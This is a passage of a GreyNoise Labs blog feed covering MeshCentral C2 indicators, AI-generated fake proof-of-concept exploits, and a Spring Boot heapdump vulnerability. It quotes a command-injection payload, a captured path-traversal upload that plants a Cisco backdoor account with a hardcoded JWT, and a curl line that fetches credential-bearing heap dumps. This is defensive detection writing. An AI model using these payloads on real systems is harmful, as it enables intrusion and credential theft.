<li><p><strong>Treat unexpected outbound connections to RMM infrastructure as suspicious.</strong> Tools like GreyNoise can help you understand whether an IP or domain has been observed in malicious contexts, but the absence of a “known bad” label doesn’t mean “known good.”</p></li>
<li><p><strong>Implement application allowlisting where feasible.</strong> Yes, it’s operationally painful. But if <code>meshagent</code> shouldn’t be running in your environment, preventing its execution entirely beats playing whack-a-mole with C2 domains.</p></li>
</ol>
<p>The uncomfortable truth is that detection engineering in 2025+ requires understanding <em>context</em> at a depth that signature-based approaches simply can’t provide. Attackers will keep reaching for legitimate tools because they work, they blend in, and they’re free. Defenders need visibility into what “normal” looks like in their environment—and the ability to spot when something that <em>looks</em> normal is anything but.</p>
<p>We’ll keep watching the Mesh. You keep watching your endpoints.</p>
<hr>
<section id="appendix" class="level3">
<h3 class="anchored" data-anchor-id="appendix">Appendix</h3>
<p>All the Mesh-y IPs we saw that you should probably block inbound/outbound, look for in your logs, and alert if you do see regular comms attempts from them:</p>
<pre><code>188.132.198.192
200.9.154.61
185.155.19.154
15.204.247.116
185.196.21.158
185.196.11.207
138.94.174.77
189.36.195.155
170.80.131.226
189.89.155.201
189.89.155.200
177.125.244.19
147.45.198.59
194.180.49.148
103.150.112.246
137.184.113.104
83.168.69.249
176.122.87.116
37.27.216.100
138.185.108.167
87.120.93.135
137.184.40.191
118.69.35.0
164.92.68.56
128.199.12.138
103.195.101.105
128.0.118.83
116.203.205.171
200.40.130.78
62.60.236.53
143.110.150.26
101.189.155.57
172.105.63.206
45.138.159.140
80.210.52.254
143.110.234.97
92.16.184.58
95.181.212.68
185.189.14.97
23.160.168.166
103.17.90.61
103.30.76.178
103.97.179.158
103.106.191.160
45.13.212.7
98.187.161.247
109.205.211.210
185.247.224.203
195.208.46.116
188.241.187.164
154.83.84.178
170.168.61.149
62.192.153.156
211.24.110.48
85.111.93.226
83.69.74.67
5.139.213.138
195.19.194.170
195.206.52.146
157.245.7.91
168.227.50.27
95.53.131.28
38.60.199.159
85.174.227.249
178.161.130.142
176.214.78.55
77.235.25.6
82.194.247.94
95.170.95.31
31.148.19.243
217.25.230.193
5.19.252.106
188.235.255.24
155.212.24.85
94.231.165.233
46.146.204.160
45.77.25.135
46.166.94.58
85.12.204.111
89.248.163.209
5.181.177.108
89.223.87.218
195.208.164.131
78.140.8.151
83.69.215.234
91.215.189.209
194.147.222.80
85.113.58.83
109.195.4.153
209.15.114.189
109.206.128.175
146.66.164.235
212.15.50.92
213.32.110.217
176.97.103.47
93.115.175.99
78.157.253.58
62.60.131.43
185.253.100.58
83.220.43.58
154.144.247.249
159.89.35.131
5.202.84.190
185.186.50.228
46.12.211.150
213.108.39.233
87.251.67.85
212.102.107.20
210.16.67.178
94.154.123.101
200.89.178.94
67.211.217.160
51.161.15.122
45.32.102.91
123.25.116.212
72.62.67.33</code></pre>


</section>
</section>

 ]]></description>
  <category>react2shell</category>
  <category>meshcentral</category>
  <category>security</category>
  <category>C2</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <guid>https://www.labs.greynoise.io/grimoire/2025-12-09-react2shell-meshcentral/</guid>
  <pubDate>Tue, 09 Dec 2025 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2025-12-09-react2shell-meshcentral/media/cover.png" medium="image" type="image/png" height="96" width="144"/>
</item>
<item>
  <title>The PoC Pollution Problem: How AI-Generated Exploits Are Poisoning Detection Engineering</title>
  <dc:creator>h0wdy &amp; hrbrmstr</dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2025-07-30-ai-poc/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p>As detection engineers, we live and breathe the cycle of vulnerability disclosure, proof-of-concept (PoC) analysis, and signature development. When CVE-2024-XXXXX drops on a Tuesday morning, we’re already pulling GitHub repositories, scanning blog posts, and reverse-engineering exploits before our caffeinated beverage of choice gets cold/warm. Speed matters in this fight—the faster we can analyze a working PoC and translate it into actionable detection logic, the better we can help customers and the community protect networks from the inevitable exploitation wave.</p>
<p>But there’s a new problem poisoning this well-established workflow: AI-generated PoCs that look legitimate at first glance but crumble under technical scrutiny. These “vibe-coded” exploits are flooding public repositories and security blogs, creating a dangerous signal-to-noise problem that’s wasting precious research cycles and, worse, potentially leading to ineffective detections.</p>
<section id="the-traditional-poc-to-detection-pipeline" class="level2">
<h2 class="anchored" data-anchor-id="the-traditional-poc-to-detection-pipeline">The Traditional PoC-to-Detection Pipeline</h2>
<p>Before taking a look at the problem, let’s establish the baseline. A common PoC-to-detection workflow typically looks like this:</p>
<ol start="0" type="1">
<li><strong>0/n-Day or CVE Release</strong>: Knowledge of attacks, exploits, or bona fide vulnerabilities starts to spread across the cybersecurity community</li>
<li><strong>PoC Discovery</strong>: Scanning GitHub, security blogs, exploit databases, and researcher Twitter for working exploits</li>
<li><strong>Validation</strong>: Confirming the PoC actually works against vulnerable targets</li>
<li><strong>Traffic Analysis</strong>: Understanding the network signatures, HTTP patterns, and behavioral indicators</li>
<li><strong>Rule Development</strong>: Translating technical artifacts into (in our case) Suricata rules, Sigma detections, or custom logic</li>
<li><strong>Testing &amp; Tuning</strong>: Validating detection efficacy and minimizing false positives</li>
</ol>
<p>This process relies heavily on the assumption that publicly available PoCs are functionally accurate. When a researcher publishes exploit code, we expect it to reflect real attack patterns we’ll see in the wild. That assumption is increasingly dangerous.</p>
</section>
<section id="the-rise-of-vibe-coded-pocs" class="level2">
<h2 class="anchored" data-anchor-id="the-rise-of-vibe-coded-pocs">The Rise of Vibe-Coded PoCs</h2>
<p>Enter the era of AI-assisted security research. Large language models have democratized exploit development in ways both beneficial and problematic. On the positive side, they’ve helped legitimate researchers rapidly prototype and iterate on complex exploits. On the negative side, they’ve enabled a flood of superficially plausible but technically broken PoCs.</p>
<p>These AI-generated exploits typically exhibit several telltale characteristics:</p>
<p><strong>Hallucinated Technical Details</strong>: The code references non-existent API endpoints, uses incorrect parameter names, or implements authentication bypasses that don’t actually work. The exploit might target <code>/api/v1/admin/users</code> when the real vulnerability exists in <code>/admin/user-management/bulk-update</code>.</p>
<p><strong>Generic Payload Patterns</strong>: AI models trained on existing exploit code tend to regurgitate common payload structures without understanding the specific vulnerability context. You’ll see SQL injection attempts using <code>' OR 1=1--</code> against command injection vulnerabilities, or buffer overflow exploits with hardcoded offsets that work nowhere.</p>
<p><strong>Plausible but Wrong HTTP Headers</strong>: AI-generated web exploits often include HTTP headers that sound security-relevant but serve no functional purpose for the specific vulnerability. Headers like <code>X-Forwarded-For: 127.0.0.1</code> or <code>User-Agent: Mozilla/5.0 (compatible; SecurityScanner)</code> get cargo-culted into unrelated exploits.</p>
<p><strong>Copy-Paste Error Propagation</strong>: When AI models generate code based on multiple sources, they often blend incompatible approaches. You might see a deserialization exploit that simultaneously attempts both Python pickle and Java serialization attacks.</p>
</section>
<section id="the-detection-engineering-impact" class="level2">
<h2 class="anchored" data-anchor-id="the-detection-engineering-impact">The Detection Engineering Impact</h2>
<p>The proliferation of these broken PoCs creates several dangerous scenarios for detection engineers:</p>
<section id="false-pattern-recognition" class="level3">
<h3 class="anchored" data-anchor-id="false-pattern-recognition">False Pattern Recognition</h3>
<p>When multiple AI-generated PoCs for the same vulnerability use similar (but incorrect) attack patterns, it’s easy to assume these patterns represent real attacker behavior. A detection engineer might develop rules targeting these hallucinated artifacts, creating blind spots where the actual exploit traffic differs significantly.</p>
<p>Consider a hypothetical RCE vulnerability in a popular web framework. If five different AI-generated PoCs all use the incorrect endpoint <code>/api/execute</code> instead of the real vulnerability path <code>/framework/handler/exec</code>, any detection logic focused on the wrong endpoint will miss actual attacks.</p>
</section>
<section id="resource-drain-and-research-fatigue" class="level3">
<h3 class="anchored" data-anchor-id="resource-drain-and-research-fatigue">Resource Drain and Research Fatigue</h3>
<p>Validating broken PoCs wastes substantial research time. A detection engineer might spend hours setting up test environments, debugging non-functional exploit code, and trying to understand why a “working” PoC fails consistently. This time drain delays the development of effective detections and burns out research teams.</p>
</section>
<section id="detection-logic-pollution" class="level3">
<h3 class="anchored" data-anchor-id="detection-logic-pollution">Detection Logic Pollution</h3>
<p>Worse than wasted time is polluted detection logic. Rules developed from broken PoCs might trigger on legitimate traffic patterns while missing actual attacks. If an AI-generated PoC uses malformed HTTP requests that real attackers wouldn’t send, any detection rule based on that pattern becomes a false positive generator.</p>
</section>
</section>
<section id="real-world-consequences-a-case-study" class="level2">
<h2 class="anchored" data-anchor-id="real-world-consequences-a-case-study">Real-World Consequences: A Case Study</h2>
<p>Howdy! <code>h0wdy</code>, here! As a researcher and detection engineer at GreyNoise I have the pleasure of coming across some of these fake proof of concepts with increasing regularity. Even within the past two days, I have two (not so) funny examples for you:</p>
<section id="cve-2025-20281-and-cve-2025-20337" class="level3">
<h3 class="anchored" data-anchor-id="cve-2025-20281-and-cve-2025-20337">CVE-2025-20281 and CVE-2025-20337</h3>
<p>It was from a request to write a new tag for CVE-2025-20337 that led me down the road to CVE-2025-20281. They both relate to an unauthenticated RCE vulnerability in the Cisco ISE API. Looking through the <a href="https://www.zerodayinitiative.com/blog/2025/7/24/cve-2025-20281-cisco-ise-api-unauthenticated-remote-code-execution-vulnerability">original blog</a> published by Zero Day Initiative, it wasn’t totally clear to me which CVE was allocated to which underlying vulnerability used in the code execution. <strong>I now know that the java deserialization vuln is CVE-2025-20281 and the container escape is CVE-2025-20337 (<a href="http://vulncheck.com">shout-outs to our friends at VulnCheck for clearing this up!</a>)</strong>, but before this was clear, I came across some other PoC’s I found on GitHub, and thought maybe <em>these</em> were the elusive CVE-2025-20337. Much like this one <a href="https://web.archive.org/web/20250702221347/https://raw.githubusercontent.com/abrewer251/CVE-2025-20281-2-Cisco-ISE-RCE/refs/heads/main/PoC.py">here</a>, these exploits mentioned the use of CVE-2025-20281, but were targeting a totally different endpoint than the one mentioned in the Zero Day blog: <code>/ers/sdk#_</code>. Also, the actual payload didn’t resemble the one given as an example! The vibecoded PoC payload:</p>
<div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode json code-with-copy"><code class="sourceCode json"><span id="cb1-1"><span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">payload</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-2">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"InternalUser"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-3">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"name"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">f</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"pwn; {cmd}; #"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb1-4">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"password"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"x"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span>         <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">#</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">dummy</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">ignored</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">by</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">vuln</span></span>
<span id="cb1-5">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"changePassword"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">False</span></span>
<span id="cb1-6">        <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb1-7">    <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div>
<p>The payload depicted in the blog: <br></p>
<p><a href="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9018da4-8d79-45f7-b320-1f54fc6258c9/Picture1.png?format=2500w"><img src="https://www.labs.greynoise.io/grimoire/2025-07-30-ai-poc/media/payload.png" class="img-fluid"></a></p>
<p>I knew this was fishy and didn’t see any way it could be CVE-2025-20337. Still, I had the added benefit of being able to verify my suspicions with the diligent vulnerability researchers at VulnCheck. If I hadn’t, this could have turned into a solid day-long diversion for someone with my lack of vulnerability research experience.</p>
</section>
<section id="cve-2025-20188" class="level3">
<h3 class="anchored" data-anchor-id="cve-2025-20188">CVE-2025-20188</h3>
<p>Then, the next day while sifting through some of our data feed I came across this head-scratcher of a pcap:</p>
<div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode bash code-with-copy"><code class="sourceCode bash"><span id="cb2-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">POST</span> /aparchive/upload HTTP/1.1</span>
<span id="cb2-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Accept-Encoding:</span> gzip, deflate</span>
<span id="cb2-3"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Accept:</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">*</span>/<span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">*</span></span>
<span id="cb2-4"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Connection:</span> keep-alive</span>
<span id="cb2-5"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Content-Length:</span> 431</span>
<span id="cb2-6"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Content-Type:</span> multipart/form-data<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">boundary</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>b6db3d195550e2b6f7687268e5aafea6</span>
<span id="cb2-7"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Cookie:</span> jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyZXFpZCI6ImNkYl90b2tlbl9yZXF1ZXN0X2lkMSIsImV4cCI6MTc1MzUxOTUxNn0.K7NW4LxeOjrada6-F2sUqY6Qg3iW3YTq_wY63KE5vk0</span>
<span id="cb2-8"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Host:</span> gh05713</span>
<span id="cb2-9"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">User-Agent:</span> Mozilla/5.0 <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">(</span><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Windows</span> NT 10.0<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Win64</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">x64</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">)</span> <span class="ex" style="color: null;
background-color: null;
font-style: inherit;">AppleWebKit/537.36</span></span>
<span id="cb2-10"></span>
<span id="cb2-11"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">--b6db3d195550e2b6f7687268e5aafea6</span></span>
<span id="cb2-12"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Content-Disposition:</span> form-data<span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">name</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"file"</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">;</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">filename</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"../../../bootflash/startup-config"</span></span>
<span id="cb2-13"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Content-Type:</span> text/plain</span>
<span id="cb2-14"></span>
<span id="cb2-15"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">#!/bin/bash</span></span>
<span id="cb2-16"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Cisco IOS XE User Creation via CVE-2025-20188 &lt;-- note from h0wdy: yes. this was in the pcap. yes. this is odd.</span></span>
<span id="cb2-17"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">username</span> ahmed privilege 15 secret ahmed</span>
<span id="cb2-18"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">username</span> ahmed autocommand enable</span>
<span id="cb2-19"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">line</span> vty 0 15</span>
<span id="cb2-20"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">login</span> local</span>
<span id="cb2-21"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">transport</span> input ssh telnet</span>
<span id="cb2-22"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">enable</span> secret ahmed</span>
<span id="cb2-23"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">service</span> password-encryption</span>
<span id="cb2-24"></span>
<span id="cb2-25"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">--b6db3d195550e2b6f7687268e5aafea6--</span></span></code></pre></div>
<p>A quick Google search led me to CVE-2025-20188, another remote code execution in Cisco IOS XE software resulting from a hardcoded JWT token and a path traversal. The JWT token used in the <code>Cookie</code> of that payload matches one of the criteria for a detection, however, that endpoint is <em>not</em> the one used or talked about in the original <a href="https://horizon3.ai/attack-research/attack-blogs/cisco-ios-xe-wlc-arbitrary-file-upload-vulnerability-cve-2025-20188-analysis/">Horizon3 blog</a>. Once again, I have to go back and reread the blog, making sure I didn’t miss anything, and there it is. Just appearing in a passing source code sample:</p>
<div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode apache code-with-copy"><code class="sourceCode apache"><span id="cb3-1">location /aparchive/upload { # &lt;-- well looky here!</span>
<span id="cb3-2">    add_header X-Content-Type-<span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Options</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;"> nosniff;</span></span>
<span id="cb3-3">    add_header X-XSS-Protection "1; mode=block";</span>
<span id="cb3-4">    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;</span>
<span id="cb3-5">    charset utf-8;</span>
<span id="cb3-6">    client_max_body_size 1536M;</span>
<span id="cb3-7">    client_body_buffer_size 5000K;</span>
<span id="cb3-8"></span>
<span id="cb3-9">    set $upload_file_dst_path "/bootflash/completeCDB/";</span>
<span id="cb3-10">    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;</span>
<span id="cb3-11">    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;</span>
<span id="cb3-12">}</span>
<span id="cb3-13"></span>
<span id="cb3-14"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">#Location block for ap spectral recording upload</span></span>
<span id="cb3-15">location /ap_spec_rec/upload/ {</span>
<span id="cb3-16">    add_header X-Content-Type-<span class="ex" style="color: null;
background-color: null;
font-style: inherit;">Options</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;"> nosniff;</span></span>
<span id="cb3-17">    add_header X-XSS-Protection "1; mode=block";</span>
<span id="cb3-18">    charset_types text/html text/xml text/plain text/vnd.wap.wml application/javascript application/rss+xml text/css application/json;</span>
<span id="cb3-19">    charset utf-8;</span>
<span id="cb3-20">    client_max_body_size 500M;</span>
<span id="cb3-21">    client_body_buffer_size 5000K;</span>
<span id="cb3-22">    set $upload_file_dst_path "/harddisk/ap_spectral_recording/";</span>
<span id="cb3-23">    access_by_lua_file /var/scripts/lua/features/ewlc_jwt_verify.lua;</span>
<span id="cb3-24">    content_by_lua_file /var/scripts/lua/features/ewlc_jwt_upload_files.lua;</span>
<span id="cb3-25">}</span></code></pre></div>
<p>As mentioned in the aforementioned blog,</p>
<blockquote class="blockquote">
<p>This reveals upload related endpoints that utilize both <code>ewlc_jwt_verify.lua</code> and <code>ewlc_jwt_upload_files.lua</code> on the backend—perfect!</p>
</blockquote>
<p>To clarify, the endpoint used by Horizon3 in the publicly available PoC is <code>/ap_spec_rec/upload</code>. We have also received confirmation from Horizon3 that,</p>
<blockquote class="blockquote">
<p>The bash script itself won’t work since those are cisco cli commands and not bash commands. It’ll throw errors that the terminal is wrong when it runs [and] the <code>aparchive</code> endpoint doesn’t work quite the same way, so the file never even gets dropped.</p>
</blockquote>
<p>Without the ability to confirm suspicions, we face the overwhelming problem with this kind of slop. As security researchers and detection engineers, we’re already inundated with an insurmountable pile of information garbage to comb through to get to the heart of it, but at least we’ve developed a keen nose for recognizing the scent of garbage. Given the rise of fake AI-generated proof of concepts, it will be key that we retrain our sniffers to recognize this new, unfamiliar scent moving forward.</p>
</section>
</section>
<section id="identifying-ai-generated-pocs-red-flags-for-detection-engineers" class="level2">
<h2 class="anchored" data-anchor-id="identifying-ai-generated-pocs-red-flags-for-detection-engineers">Identifying AI-Generated PoCs: Red Flags for Detection Engineers</h2>
<p>Based on our experience analyzing hundreds of public exploits, here are warning signs that suggest AI generation:</p>
<p><strong>Inconsistent Coding Styles</strong>: AI-generated code often mixes different programming paradigms inconsistently. You might see object-oriented Python classes with functional programming imports, or Node.js code that randomly switches between callbacks and async/await patterns.</p>
<p><strong>Generic Variable Names with Specific Comments</strong>: AI models often generate generic variable names (<code>data</code>, <code>response</code>, <code>payload</code>) while adding highly specific comments that don’t match the generic code implementation.</p>
<p><strong>Cargo-Culted Security Features</strong>: Unnecessary authentication headers, SSL verification bypasses, or proxy configurations that serve no purpose for the specific vulnerability being exploited.</p>
<p><strong>Perfect Documentation, Broken Code</strong>: AI excels at generating clean documentation and README files. Be suspicious of exploits with extensive documentation but minimal functional testing evidence.</p>
<p><strong>Temporal Clustering</strong>: Multiple repositories created within hours of each other, often with similar commit messages and identical structural errors.</p>
</section>
<section id="defensive-strategies-for-detection-engineers" class="level2">
<h2 class="anchored" data-anchor-id="defensive-strategies-for-detection-engineers">Defensive Strategies for Detection Engineers</h2>
<p>To combat the PoC pollution problem, detection engineering teams need to evolve their workflows:</p>
<section id="source-verification-and-reputation-tracking" class="level3">
<h3 class="anchored" data-anchor-id="source-verification-and-reputation-tracking">1. Source Verification and Reputation Tracking</h3>
<p>Maintain an internal reputation system for PoC sources. Track which researchers, repositories, and blogs consistently publish functional exploits versus those that frequently post broken code. Prioritize analysis of PoCs from verified sources.</p>
</section>
<section id="multi-source-validation" class="level3">
<h3 class="anchored" data-anchor-id="multi-source-validation">2. Multi-Source Validation</h3>
<p>Never develop detection logic based on a single PoC. When possible, analyze multiple independent implementations of the same exploit. If all available PoCs use identical unusual patterns, that’s a red flag for AI generation or copy-paste propagation.</p>
</section>
<section id="rapid-functional-testing" class="level3">
<h3 class="anchored" data-anchor-id="rapid-functional-testing">3. Rapid Functional Testing</h3>
<p>Implement lightweight testing frameworks that can quickly validate PoC functionality before investing in deep analysis. This might involve containerized vulnerable applications or automated testing scripts that can confirm whether an exploit actually works.</p>
</section>
<section id="traffic-first-analysis" class="level3">
<h3 class="anchored" data-anchor-id="traffic-first-analysis">4. Traffic-First Analysis</h3>
<p>Instead of starting with PoC code, begin with packet captures and network traffic from known exploitation attempts. This approach grounds detection development in real attack patterns rather than potentially fabricated code.</p>
</section>
<section id="community-intelligence-sharing" class="level3">
<h3 class="anchored" data-anchor-id="community-intelligence-sharing">5. Community Intelligence Sharing</h3>
<p>Establish channels for sharing information about broken or AI-generated PoCs within the security community. If one team identifies a widespread fake exploit, that information should propagate quickly to prevent other teams from wasting research cycles.</p>
</section>
</section>
<section id="the-broader-implications" class="level2">
<h2 class="anchored" data-anchor-id="the-broader-implications">The Broader Implications</h2>
<p>The PoC pollution problem reflects a broader challenge in AI-assisted security research. As AI tools become more sophisticated, the line between legitimate research assistance and misleading automation becomes increasingly blurred. Detection engineers need to develop the same critical evaluation skills we apply to threat intelligence: verify sources, cross-reference claims, and test assumptions rigorously.</p>
<p>This isn’t an argument against AI in security research—these tools have legitimate value when used appropriately. Rather, it’s a call for defense in depth against the unintended consequences of democratized exploit generation.</p>
</section>
<section id="looking-forward-adapting-detection-engineering" class="level2">
<h2 class="anchored" data-anchor-id="looking-forward-adapting-detection-engineering">Looking Forward: Adapting Detection Engineering</h2>
<p>The security industry needs to acknowledge that the traditional PoC ecosystem has fundamentally changed. Detection engineering workflows that worked well when public exploits came primarily from skilled human researchers may not be adequate in an era of AI-generated code proliferation.</p>
<p>Organizations should consider investing in:</p>
<ul>
<li><strong>Automated PoC validation infrastructure</strong> that can quickly test exploit functionality</li>
<li><strong>Enhanced threat intelligence platforms</strong> that track PoC source reputation and accuracy</li>
<li><strong>Collaborative analysis frameworks</strong> that allow teams to share validation results and avoid duplicate effort</li>
<li><strong>Training programs</strong> that help detection engineers identify AI-generated code patterns</li>
</ul>
<p>The goal isn’t to eliminate AI assistance from security research, but to develop the analytical skills and technical infrastructure needed to separate valuable AI-augmented research from low-quality generated content.</p>
</section>
<section id="the-bottom-line" class="level2">
<h2 class="anchored" data-anchor-id="the-bottom-line">The Bottom Line</h2>
<p>The proliferation of AI-generated PoCs represents a new challenge for detection engineering teams. These superficially plausible but technically broken exploits waste research time, pollute detection logic, and create blind spots in security monitoring.</p>
<p>Success in this new landscape requires evolving our PoC analysis workflows to emphasize source verification, multi-source validation, and rapid functional testing. We need to maintain the healthy skepticism that serves us well in threat intelligence analysis and apply it consistently to public exploit code.</p>
<p>The detection engineering community has always adapted to new challenges—from encrypted malware to living-off-the-land techniques to supply chain attacks. The PoC pollution problem is just the latest evolution in our ongoing cat-and-mouse game with both attackers and, increasingly, with the tools they use to scale their operations.</p>
<p>Stay vigilant, validate everything, and remember: if a PoC seems too good to be true, it probably is.</p>


</section>

 ]]></description>
  <category>ai</category>
  <category>llm</category>
  <category>poc</category>
  <category>slop</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <guid>https://www.labs.greynoise.io/grimoire/2025-07-30-ai-poc/</guid>
  <pubDate>Wed, 30 Jul 2025 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2025-07-30-ai-poc/media/ai.jpg" medium="image" type="image/jpeg"/>
</item>
<item>
  <title>Checking the Scope of CVE-2025-48927</title>
  <dc:creator>h0wdy </dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2025-07-16-checking-the-scope-of-cve-2025-48927/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<section id="background" class="level3">
<h3 class="anchored" data-anchor-id="background"><strong>Background</strong></h3>
<p>On the first of July (2025), CISA’s KEV brought a fun little vulnerability to my attention. The alert reports two newly known exploited vulnerabilities: <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-48927">CVE-2025-48927</a> and <a href="https://nvd.nist.gov/vuln/detail/cve-2025-48928">CVE-2025-48928</a>. CVE-2025-48928 requires local exploitation, and so is not “GreyNoiseable” at this time. However, CVE-2025-48927 is remotely exploitable and requires no user interaction. It exists in TeleMessage TM SGNL, a Signal clone that archives copies of all messages passing through it. <a href="https://www.wired.com/story/how-the-signal-knock-off-app-telemessage-got-hacked-in-20-minutes/">The commonly cited Wired article</a> does a good job of covering the background and “technical” details. Still, even as a researcher, I was left in disbelief at the simplicity of this exploit. Was there a hype cycle for this? If so, I must have missed it, and many others must have as well, because after some digging, I found that many devices are still open and vulnerable to this.</p>
</section>
<section id="vulnerability-details" class="level3">
<h3 class="anchored" data-anchor-id="vulnerability-details"><strong>Vulnerability details</strong></h3>
<p>CVE-2025-48927 is given to Telemessage Smarsh, but the underlying issue exists in Spring Boot Actuator, which exposes the <code>/heapdump</code> endpoint publicly without authentication by default. What does that mean? <strong>It means that a simple <code>curl - X GET http://&lt;ip&gt;:&lt;port&gt;/heapdump</code> has the potential to download a ~150MB file containing plain-text usernames and passwords (and more)!</strong> The NVD NIST description states that the TeleMessage service, through 2025-05-05, continued to configure Spring Boot this way; however, the wired article mentions that this default configuration was only in the software up to version 1.5 from 2017.</p>
<p>The simplest mitigation to this vulnerability is to block access to all Spring Boot endpoints other than <code>/health</code> and <code>/info</code>. As of 2025-07-22, users of TeleMessage SGNL should already be updated and secure.</p>
</section>
<section id="scale" class="level3">
<h3 class="anchored" data-anchor-id="scale"><strong>Scale</strong></h3>
